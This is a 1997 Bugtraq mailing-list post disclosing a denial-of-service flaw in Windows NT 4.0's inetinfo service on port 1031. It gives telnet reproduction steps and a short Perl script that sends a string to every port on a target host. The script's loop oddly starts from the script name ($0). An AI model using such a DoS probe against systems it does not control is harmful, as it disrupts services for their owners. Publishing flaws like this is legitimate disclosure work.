[3957] in bugtraq
[NTSEC] NT vulnerable to DOS attack on more than just port 135
daemon@ATHENA.MIT.EDU (Bob Beck (by way of Christopher Kl)
Sat Jan 25 14:06:34 1997
Date: Sat, 25 Jan 1997 12:06:11 -0600
Reply-To: "Bob Beck (by way of Christopher Klaus <beck@obtuse.com>)" <beck@obtuse.com>
From: "Bob Beck (by way of Christopher Klaus <beck@obtuse.com>)" <beck@obtuse.com>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Looks like NT is also vulnerable to exactly the same attack as
previously posted WRT connecting and throwing garbage at port 135 on
another port, namely 1031 (inetinfo) The inetinfo.exe process goes
insane on NT4.0. Haven't tested on 3.51. To try, telnet to 1031 on an
NT machine and type garbage, then disconnect.
Below is what me and Chris Bayly (Chris.Bayly@ualberta.ca) rigged up to
check.
-Bob
---------------------------------------------------------------------------
Bob Beck Obtuse Systems Corporation
beck@obtuse.com http://www.obtuse.com/
True Evil hides its real intentions in its street address. Search and you
shall find it, and the truth shall set you free.
------------------------------8<----------------------------------
#!/usr/local/bin/perl
use Socket;
use FileHandle;
require "chat2.pl";
$ILoveBill = $ARGV[0] && shift;
$verbose = 0; # tell me what you're hitting
$knownports = 0; # don't hit known problem ports
for ($port = $0; $port<65535; $port++)
{
if ($knownports && ($port == 135 || $port== 1031)) {
next;
}
$fh = chat::open_port($ILoveBill, $port);
chat::print ($fh,"Windows NT is the platform of the future");
if ($verbose) {
print "Trying port: $port\n\n";
}
chat::close($fh);
}
